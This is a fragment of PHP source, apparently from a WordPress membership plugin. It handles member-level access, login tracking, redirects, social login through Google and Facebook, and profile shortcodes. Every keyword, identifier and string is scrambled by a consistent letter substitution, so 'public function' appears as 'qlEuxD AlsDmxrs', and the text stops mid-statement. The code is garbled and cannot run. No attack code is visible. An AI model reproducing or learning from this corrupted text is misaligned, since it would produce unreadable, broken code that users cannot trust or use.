zurEFu StBtEBozBsxlnU xA (StBtEBozBsxln-QzmUyFny	BplBnm()) { oBmlosU } xA (xn_FCtxs() QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlosU } xA (SlnBo == sluu QFtqUQFtqU SlnBo_urzxs) { SlnBo = zBm_lnBo_Eh(QplrmUurzxsQplrmU, SlnBo_urzxs)U } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c) Fn SuBkBu) { xA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs) { xA (SoBCxoBDm = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_urzxs))) { jq_oBCxoBDm(SoBCxoBDm)U CxB()U } } } } qlEuxD AlsDmxrs xsxm() { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (Vxn_FCtxs()) { xA (xn_lnBo_urzzBC_xs()) { Smyxn-QzmUFuurjBC = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmn(SDlooBsm_lnBo-QzmU7c)U Sxq = xqNursz(S_$b	!b	[QplrmU	b31#b_fcc	QplrmU])U Surzxsaxonm = xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsaxonmQplrmU))U xA (VSurzxsaxonm) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsaxonmQplrmU, Sxq)U } StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxs4Fnm#xtBQplrmU, mxtB())U Surzxsn = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsnQplrmU)U xA (Vxn_FooFh(Surzxsn)) { Surzxsn = FooFh()U } Surzxsn[Sxq] = mxtB()U Fonrom(Surzxsn)U Surzxsn = FooFh_nuxDB(Surzxsn, P, OP, molB)U StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SDlooBsm_lnBo-QzmU7c, QplrmUurzxsnQplrmU, Surzxsn)U } BunB { Smyxn-QzmUFuurjBC = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmfDDBnn(-O)U } } BunB { Smyxn-QzmUFuurjBC = sluuU } } qlEuxD AlsDmxrs jyBoB(SplBoh=QplrmUQplrmU) { xA (xn_FCtxs()) { oBmlos SplBohU } xA (Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SplBohU } xA (SplBoh V= QplrmUQplrmU) { SplBoh .= QplrmU f2c QplrmUU } xA (Drlsm(Smyxn-QzmUFuurjBC) QzmU P) { Snpu = QplrmU7c 72(QplrmU.xtqurCB(Smyxn-QzmUFuurjBC, QplrmU,QplrmU).QplrmU)QplrmUU } BunB { Snpu = QplrmU21# OQplrmUU } SplBoh .= SnpuU oBmlos SplBohU } qlEuxD AlsDmxrs BiDulCB0FzB4xnm(SqFzBn, So) { xA (Vxn_FCtxs()) { oBmlos SqFzBnU } Aro (Sx = PU Sx QumU nxgBrA(SqFzBn)U Sx++) { xA (VxnnBm(SqFzBn[Sx]) || xnnBm(SqFzBn[Sx]-QzmUqrnm_sFtB)) { DrsmxslBU } xA (SqFzBn[Sx]-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { lsnBm(SqFzBn[Sx])U EoBFvU } } oBmlos SqFzBnU } qlEuxD AlsDmxrs BiDulCB0FzBeFDvBsC(SplBoh) { xA (Vxn_FCtxs()) { oBmlos SplBohU } xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { SplBoh-QzmUnBm( QTPMGUqrnm__srm_xsQTPMGU, FooFh( SquFDByruCBo-QzmU7c ) )U } oBmlos SplBohU } qlEuxD AlsDmxrs BiDulCB0FzBaorsmBsC(SqFzBn) { zurEFu SjqCEU xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SqFzBnU } SFuu0FzBn = zBm_Fuu_qFzB_xCn()U SBiDulCB0FzBn = FooFh_CxAA(SFuu0FzBn, Smyxn-QzmUFuurjBC)U xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { SBiDulCB0FzBn[] = xsmkFu(SquFDByruCBo-QzmU7c)U } oBmlos FooFh_tBozB(SqFzBn, SBiDulCB0FzBn)U } qlEuxD AlsDmxrs wrxs(Swrxs=QplrmUQplrmU, SAroDB=AFunB) { zurEFu Sjq_plBoh, SjqCE, Sjq_kBonxrsU zurEFu SqrnmU xA (xn_FCtxs()) { oBmlos SwrxsU } xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SwrxsU } xA (nmoqrn(Swrxs, SjqCE-QzmUmBot_oBuFmxrsnyxqn) V== AFunB) { oBmlos SwrxsU } Swrxs .= QplrmU 4ba# 6172 QplrmU.SjqCE-QzmUmBot_oBuFmxrsnyxqn.QplrmU f$ DoBu 12 (QplrmU.SjqCE-QzmUqrnmn.QplrmU.7c = DoBu.rEwBDm_xC) 4ba# 6172 QplrmU.SjqCE-QzmUmBot_mFirsrth.QplrmU f$ DmFi 12 (DmFi.mFirsrth = QTPMGUDFmBzrohQTPMGU f2c DoBu.mBot_mFirsrth_xC = DmFi.mBot_mFirsrth_xC) 4ba# 6172 QplrmU.SjqCE-QzmUmBotn.QplrmU f$ DmBo 12 (DmFi.mBot_xC = DmBo.mBot_xC) QplrmUU oBmlos SwrxsU } AlsDmxrs zorlqeh( SzorlqEh ) { xA (xn_FCtxs()) { oBmlos SzorlqEhU } xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SzorlqEhU } zurEFu SjqCEU SthzorlqEh = SjqCE-QzmUqrnmn.QplrmU.7cQplrmUU xA( qoBz_tFmDy( QplrmU/QplrmU.SthzorlqEh.QplrmU/QplrmU, SzorlqEh )) { oBmlos SzorlqEhU } xA( VnmouBs(moxt(SzorlqEh))) { oBmlos SthzorlqEhU } oBmlos SzorlqEh . QplrmU, QplrmU . SthzorlqEhU } AlsDmxrs zBm#Botn(SDFmBzroxBn, SFoz) { zurEFu SqrnmU xA (xn_FCtxs()) { oBmlos SDFmBzroxBnU } xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SDFmBzroxBnU } xA (oBnBm(SFoz) == QplrmUuxsv_DFmBzrohQplrmU) { oBmlos SDFmBzroxBnU } xA (xnnBm(Sqrnm) QFtqUQFtqU xnnBm(Sqrnm-QzmUqrnm_sFtB) QFtqUQFtqU Sqrnm-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { oBmlos FooFh()U } AroBFDy (SDFmBzroxBn Fn SxsCBi =QzmU SrEw) { xA (xnnBm(SrEw-QzmUmBot_xC)) { SxC = SrEw-QzmUmBot_xCU Sqrnmn = zBm_qrnmn(FooFh(QplrmUsltEBoqrnmnQplrmU =QzmU O, QplrmUDFmBzrohQplrmU =QzmU SxC, QplrmUnlqqoBnn_AxumBonQplrmU =QzmU AFunB))U xA (Drlsm(Sqrnmn) == P) { lsnBm(SDFmBzroxBn[SxsCBi])U } } } oBmlos SDFmBzroxBnU } qlEuxD AlsDmxrs urDvCrjs(SFDmxrs=QplrmUurzxsQplrmU, SyFny=sluu) { zurEFu StBtEBozBsxlnU FCC_AxumBo( QTPMGUjq_sFk_tBsl_xmBtnQTPMGU, QTPMGU__oBmlos_Btqmh_nmoxszQTPMGU, OP, N )U oBtrkB_Fuu_AxumBon(QTPMGUqrnmn_zorlqEhQTPMGU)U oBtrkB_Fuu_AxumBon(QTPMGUqrnmn_jyBoBQTPMGU)U oBtrkB_Fuu_AxumBon(QTPMGUqrnmn_wrxsQTPMGU)U xA (SFDmxrs == QplrmUurzxsQplrmU) { FCC_AxumBo(QTPMGUmyB_DrsmBsmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrsmBsmQTPMGU), OPPP)U } BunBxA (SFDmxrs == QplrmUoBzxnmBoQplrmU) { FCC_AxumBo(QTPMGUqFzB_mBtquFmBQTPMGU, FooFh(QFtqUSmyxn, QplrmUurDvCrjs_mBtquFmBQplrmU), OP)U FCC_AxumBo(QTPMGUmyB_DrsmBsmQTPMGU, FooFh(StBtEBozBsxln-QzmUFCtxs, QTPMGUoBzxnmBoQTPMGU), OPPP)U FCC_AxumBo(QTPMGUmyB_qBotFuxsvQTPMGU, FooFh(QFtqUSmyxn, QplrmUqBotFuxsvQplrmU), OPPP)U } FCC_FDmxrs(QTPMGUjq_ArrmBoQTPMGU, FooFh(QFtqUSmyxn, QTPMGUsrarrmBoQTPMGU), OPPP)U FCC_AxumBo(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUsr0rnmnQTPMGU), OPPP)U FCC_FDmxrs(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUsr0rnmQTPMGU), OP)U FCC_AxumBo(QTPMGUmyB_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUyxCBdrttBsmnQTPMGU))U FCC_AxumBo(QTPMGUmyB_mxmuBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUmxmuBQTPMGU))U FCC_AxumBo(QTPMGUzBm_DrttBsmn_sltEBoQTPMGU, QTPMGU__oBmlos_gBorQTPMGU)U FCC_AxumBo(QTPMGUDrttBsmn_FooFhQTPMGU, QTPMGU__oBmlos_Btqmh_FooFhQTPMGU, O)U FCC_AxumBo(QTPMGUnxCBEFon_jxCzBmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDuBFo_jxCzBmnQTPMGU))U FCC_AxumBo(QTPMGUmyB_CFmBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUzBm_myB_CFmBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUmyB_mxtBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUzBm_myB_mxtBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUzBm_myB_DFmBzroxBnQTPMGU, QTPMGU__oBmlos_Btqmh_nmoxszQTPMGU)U FCC_AxumBo(QTPMGUjq_uxnm_DFmBzroxBnQTPMGU, QTPMGU__oBmlos_Btqmh_nmoxszQTPMGU)U FCC_AxumBo(QTPMGUzBm_qFzBnQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U } AlsDmxrs urDvCrjs_mBtquFmB(SmBtquFmB) { SAxuB = sluuU SmyBtB = zBm_mBtquFmB_CxoBDmroh()U xA (EFnBsFtB(SmyBtB) == QplrmUsxokFsFQplrmU) { SAxuB = moFxuxsznuFnyxm(SmyBtB) . QTPMGUmBtquFmBn/mBtquFmB-rsBDrults.qyqQTPMGUU } xA (SAxuB QFtqUQFtqU AxuB_Bixnmn(SAxuB)) { oBmlos SAxuBU } oBmlos SmBtquFmBU } qlEuxD AlsDmxrs qBotFuxsv(Slou) { oBmlos QplrmUWQplrmU.S_$b	!b	[QplrmU&;b	QplrmU.Dyo(HG).QplrmU_$#	729QplrmU]U } qlEuxD AlsDmxrs srarrmBo() { WQzmUY      QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY      QumUV--Y      .Bsmoh-tBmF, .sFkxzFmxrs, .sFk-tBsl, .nxmB-xsAr, TDrurqyrs { CxnquFh:srsBU }Y      .Bsmoh-mxmuB { mBim-Fuxzs:DBsmBoU }Y      // --QzmUY      QumU/nmhuBQzmUY      QumUWqyqY } qlEuxD AlsDmxrs sr0rnm() { zurEFu Sjq_plBohU xA (VSjq_plBoh-QzmUqrnm) { Sjq_plBoh-QzmUqrnm_Drlsm = OU } } qlEuxD AlsDmxrs myB_qrnmn(Sqrnmn) { xA (Drlsm(Sqrnmn) QzmU O) { oBmlos FooFh_nuxDB(Sqrnmn, P, O)U } oBmlos SqrnmnU } qlEuxD AlsDmxrs sr0rnmn(SplBoh) { zurEFu Sjq_plBohU FCC_AxumBo(QplrmUmyB_qrnmnQplrmU, FooFh(QFtqUSmyxn, QplrmUmyB_qrnmnQplrmU))U SplBoh-QzmUnBm(QplrmUtFi_slt_qFzBnQplrmU, QplrmUOQplrmU)U SplBoh-QzmUnBm(QplrmUqrnmn_qBo_qFzBQplrmU, QplrmUOQplrmU)U SplBoh-QzmUnBm(QplrmUsltEBoqrnmnQplrmU, QplrmUOQplrmU)U SplBoh-QzmUnBm(QTPMGUqrnm_mhqBQTPMGU ,QTPMGUqFzBQTPMGU)U SplBoh-QzmUnBm(QTPMGUqrnm__xsQTPMGU ,FooFh( ))U SplBoh-QzmUnBm(QTPMGUroCBoEhQTPMGU ,QTPMGUqrnm__xsQTPMGU)U SplBoh-QzmUnBm(QTPMGUqQTPMGU , sluu)U oBtrkB_Fuu_FDmxrsn (QTPMGU__FAmBo_urrqQTPMGU)U oBmlos SplBohU } qlEuxD AlsDmxrs mxmuB(SElAABo) { zurEFu StBtEBozBsxlnU xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_sFtB)) { oBmlos StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_sFtB . QTPMGU QTPMGU .__(QTPMGU	BzxnmoFmxrsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U } oBmlos Smyxn-QzmUqormBDmBC#xmuBU } qlEuxD AlsDmxrs DrttBsmn(Sqrnmn) { zurEFu StBtEBozBsxlnU xA (DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { oBmlos SqrnmnU } SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c)U AroBFDy (SuBkBun Fn SuBkBu) { xA (SuBkBu-QzmUuBkBu_DrttBsmn == O) { oBmlos SqrnmnU } } AroBFDy (Sqrnmn Fn Sqrnm7c =QzmU Sqrnm) { Sqrnmn[Sqrnm7c]-QzmUDrttBsm_nmFmln = QTPMGUDurnBCQTPMGUU Sqrnmn[Sqrnm7c]-QzmUqxsz_nmFmln = QTPMGUDurnBCQTPMGUU } oBmlos SqrnmnU } qlEuxD AlsDmxrs yxCBdrttBsmn(Sqrnmn) { AroBFDy (Sqrnmn Fn Sqrnm7c =QzmU Sqrnm) { Sqrnmn[Sqrnm7c]-QzmUDrttBsm_nmFmln = QTPMGUDurnBCQTPMGUU Sqrnmn[Sqrnm7c]-QzmUqxsz_nmFmln = QTPMGUDurnBCQTPMGUU Sqrnmn[Sqrnm7c]-QzmUDrttBsm_Drlsm = PU } oBmlos SqrnmnU } qlEuxD AlsDmxrs DuBFo_jxCzBmn(SnxCBEFon_jxCzBmn) { oBmlos FooFh(AFunB)U } qlEuxD AlsDmxrs DrsmBsm(SElAABo) { zurEFu SFCtxs_BtFxuU SFCtxs_BtFxu = zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU)U WQzmUY      QumUCxk Fuxzs=QplrmUDBsmBoQplrmUQzmUY      QumUWqyqY xA (VzBm_rqmxrs(QplrmUjqqq_lnBosFtBQplrmU) || VzBm_rqmxrs(QplrmUjqqq_qFnnjroCQplrmU)) { jq_urzxs_Arot()U } BunBxA (AxuB_Bixnmn(CxosFtB(__a74b__).QplrmU/tBtEBo-urzxs.qyqQplrmU)) { oBplxoB(CxosFtB(__a74b__).QplrmU/tBtEBo-urzxs.qyqQplrmU)U } BunB { WQzmUY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY      QumUuFEBuQzmU;nBosFtB: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUjqqq_lnBosFtBQplrmU nxgB=QplrmUOPQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY      QumUuFEBuQzmU0FnnjroC: QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUjqqq_qFnnjroCQplrmU nxgB=QplrmUOPQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY      QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUdrsmxslBQplrmU /QzmUY      QumU/ArotQzmUYY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr jq_urnmqFnnjroC_lou( zBm_qBotFuxsv() )U WQzmUQplrmUQzmU4rnm 0FnnjroCWQumU/FQzmUQumU/qQzmUY      QumUWqyqY } WQzmUY      QumU/CxkQzmUY      QumUWqyqY } } DuFnn 3BtEBo9Bsxln$yromDrCBn { qlEuxD AlsDmxrs __DrsnmolDm() { FCC_nyromDrCB(QTPMGUtz_AxonmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUAxonmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUtz_uFnmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUuFnmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUtz_BtFxuQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBtFxuQTPMGU))U FCC_nyromDrCB(QTPMGUtz_lnBosFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUlnBosFtBQTPMGU))U FCC_nyromDrCB(QTPMGUtz_qoxkFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoxkFmBmFzQTPMGU))U FCC_nyromDrCB(QTPMGUqoxkFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoxkFmBmFzQTPMGU))U xA (VDuFnn_Bixnmn(QplrmU?43f07QplrmU)) { FCC_nyromDrCB(QTPMGUAxonmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUAxonmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUuFnmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUuFnmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUBtFxuQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBtFxuQTPMGU))U FCC_nyromDrCB(QTPMGUlnBosFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUlnBosFtBQTPMGU))U FCC_nyromDrCB(QTPMGUjut_qoxkFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoxkFmBmFzQTPMGU))U FCC_nyromDrCB(QTPMGUjut_AxonmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUAxonmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUjut_uFnmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUuFnmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUjut_BtFxuQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBtFxuQTPMGU))U FCC_nyromDrCB(QTPMGUjut_lnBosFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUlnBosFtBQTPMGU))U } } qlEuxD AlsDmxrs qoxkFmBmFz(SFmmn, SDrsmBsm) { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (Drlsm(SFmmn) == P) { oBmlos QplrmUQplrmUU } SuBkBu = SFmmn[P]U SlnBo4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c, QplrmUfQplrmU)U SlnBo4BkBun = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSFQTPMGU, QTPMGUoBmlos SF-QzmUuBkBu_sFtBUQTPMGU), SlnBo4BkBun)U xA (xs_FooFh(SuBkBu, SlnBo4BkBun)) { oBmlos SDrsmBsmU } oBmlos QplrmUQplrmUU } qlEuxD AlsDmxrs AxonmsFtB() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_AxonmsFtBU } qlEuxD AlsDmxrs uFnmsFtB() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_uFnmsFtBU } qlEuxD AlsDmxrs BtFxu() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_BtFxuU } qlEuxD AlsDmxrs tBtEBouBkBu() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } } qlEuxD AlsDmxrs lnBosFtB() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_urzxsU } } DuFnn 3BtEBo9Bsxln$rDxFu { kFo SyFsCuBonU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUyFsCuBon = FooFh( QplrmUzrrzuBQplrmU =QzmU sBj 3BtEBo9Bsxln$rDxFu8FsCuBo9rrzuB, QplrmUAFDBErrvQplrmU =QzmU sBj 3BtEBo9Bsxln$rDxFu8FsCuBoaFDBErrv )U } AlsDmxrs oBzxnmoFmxrs() { AroBFDy (Smyxn-QzmUyFsCuBon Fn SyFsCuBo) { SyFsCuBo-QzmUoBzxnmoFmxrs()U } } } DuFnn 3BtEBo9Bsxln$rDxFu8FsCuBo { kFo SBooro = sluuU kFo SoBFCh = AFunBU kFo Snulz_DFuuEFDv, Snulz_DrssBDmU kFo SuFEBu_urzxs, SuFEBu_oBzxnmBoU kFo SnBmmxsz_BsFEuBC, SnBmmxsz_Fqq, SnBmmxsz_nBDoBmU kFo SDruro = QplrmUTPPHKEFQplrmUU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUnulz_DFuuEFDv = Smyxn-QzmUnulz.QplrmU_DFuuEFDvQplrmUU Smyxn-QzmUnulz_DrssBDm = Smyxn-QzmUnulz.QplrmU_DrssBDmQplrmUU Smyxn-QzmUnulz_nBnnxrs = QplrmUtBtEBozBsxln_nrDxFu_QplrmU.Smyxn-QzmUnulzU Smyxn-QzmUuFEBu_urzxs = QplrmU4rz 7s jxmy QplrmU.Smyxn-QzmUsFtBU Smyxn-QzmUuFEBu_oBzxnmBo = QplrmU	BzxnmBo jxmy QplrmU.Smyxn-QzmUsFtBU Smyxn-QzmUnBmmxsz_BsFEuBC = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulz.QplrmU_BsFEuBCQplrmUU Smyxn-QzmUnBmmxsz_Fqq = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulz.QplrmU_FqqQplrmUU Smyxn-QzmUnBmmxsz_nBDoBm = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulz.QplrmU_nBDoBmQplrmUU Smyxn-QzmUnBmmxsz_lnBo = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulzU FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxsxmQTPMGU), O)U FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_nrDxFuQTPMGU))U FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUoBzxnmBo_nrDxFuQTPMGU))U FCC_AxumBo(QTPMGUurzxs_tBnnFzBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_tBnnFzBQTPMGU))U FCC_AxumBo(QTPMGUurzxs_Arot_ErmmrtQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_Arot_ErmmrtQTPMGU), OPP)U FCC_FDmxrs(QTPMGUurzxs_ArotQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_ArotQTPMGU))U FCC_FDmxrs(QTPMGUjq_urzxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_nFkBQTPMGU), H, N)U } qlEuxD AlsDmxrs xsxm() { zurEFu StBtEBozBsxlnU Smyxn-QzmUoBFCh = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_BsFEuBC) QFtqUQFtqU StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_Fqq) QFtqUQFtqU StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_nBDoBm)U xA (VSmyxn-QzmUoBFCh) { oBmlosU } @nBnnxrs_nmFom()U } AlsDmxrs urzxs(Sjq_lnBo) { jq_nBm_Flmy_DrrvxB(Sjq_lnBo-QzmU7c)U Cr_FDmxrs(QTPMGUjq_urzxsQTPMGU, Sjq_lnBo-QzmUlnBo_urzxs, Sjq_lnBo)U S_01$#[QTPMGUurzQTPMGU] = Sjq_lnBo-QzmUlnBo_urzxsU yBFCBo(QplrmU4rDFmxrs:QplrmU.yrtB_lou())U CxB()U } AlsDmxrs oBzxnmBo(SlnBo, SuBkBu=sluu, Smis=sluu) { zurEFu StBtEBozBsxlnU xA (SuBkBu == sluu) { oBmlos sBj ?0_booro(QplrmUsruBkBuQplrmU, QplrmU2r uBkBu zxkBs.QplrmU)U } SlnBosFtB = SlnBo[QplrmUlnBosFtBQplrmU]U xA (zBm_lnBo_Eh(QTPMGUurzxsQTPMGU, SlnBosFtB)) { SlnBosFtB = SlnBo[QplrmUBtFxuQplrmU]U } xA (zBm_lnBo_Eh(QTPMGUurzxsQTPMGU, SlnBosFtB)) { SlnBosFtB = SlnBo[QplrmUBtFxuQplrmU]U oBmlos sBj ?0_booro(QplrmUlnBoBixnmnQplrmU, QplrmU;nBo FuoBFCh Bixnmn.QplrmU)U } SDoBFmB = FooFh( QplrmUFDmxrsQplrmU =QzmU QplrmUtBtEBozBsxln_oBzxnmBoQplrmU, QplrmUtBtEBozBsxln_uBkBuQplrmU =QzmU SuBkBu, QplrmUtBtEBozBsxln_lnBosFtBQplrmU =QzmU SlnBosFtB, QplrmUtBtEBozBsxln_BtFxuQplrmU =QzmU SlnBo[QplrmUBtFxuQplrmU], QplrmUtBtEBozBsxln_AxonmsFtBQplrmU =QzmU SlnBo[QplrmUAxonm_sFtBQplrmU], QplrmUtBtEBozBsxln_uFnmsFtBQplrmU =QzmU SlnBo[QplrmUuFnm_sFtBQplrmU] )U Srlmqlm = StBtEBozBsxln-QzmUFCtxs-QzmUDoBFmB(SDoBFmB)U oBmlos SrlmqlmU } qlEuxD AlsDmxrs oBplBnm(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_Fqq)U xA (VSmrvBs) { oBmlosU } SoBnlum = FooFh(QplrmUmrvBsQplrmU =QzmU SmrvBs, QplrmUuBkBuQplrmU =QzmU sluu, QplrmUlouQplrmU =QzmU sluu)U Slou = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=QplrmU.Smyxn-QzmUnulz_DFuuEFDv)U xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { oBnBm(S_9b#)U SuBkBu = EFnBsFtB(vBh(S_9b#))U SoBnlum[QplrmUuBkBuQplrmU] = SuBkBuU Slou = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu, molB).QTPMGUQFtqUQTPMGU.SplBoh.QTPMGU=QTPMGU.Smyxn-QzmUnulz_DFuuEFDvU } SoBnlum[QplrmUlouQplrmU] = SlouU oBmlos SoBnlumU } qlEuxD AlsDmxrs qorDBnn(SnrDxFu_lnBo, SnBmmxsz_lnBo, SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU @nBnnxrs_nmFom()U xA (Btqmh(SnrDxFu_lnBo) || VxnnBm(SnrDxFu_lnBo[QplrmUxCQplrmU]) || VxnnBm(SnrDxFu_lnBo[QplrmUBtFxuQplrmU]) || Vxn_sltBoxD(SnrDxFu_lnBo[QplrmUxCQplrmU]) || Vxn_BtFxu(SnrDxFu_lnBo[QplrmUBtFxuQplrmU])) { oBmlos AFunBU } BunBxA (xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU]) QFtqUQFtqU S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU]) { SyFny = nmoxqnuFnyBn(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U lsnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U } BunB { SyFny = EFnBsFtB(vBh(S_9b#))U } xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU QFtqUQFtqU xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU]) QFtqUQFtqU (SmBtq_lnBo = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU]))) { SrkBojoxmB = FooFh( QplrmUlnBosFtBQplrmU =QzmU SnrDxFu_lnBo[QplrmUlnBosFtBQplrmU], QplrmUBtFxuQplrmU =QzmU SnrDxFu_lnBo[QplrmUBtFxuQplrmU], QplrmUAxonmsFtBQplrmU =QzmU 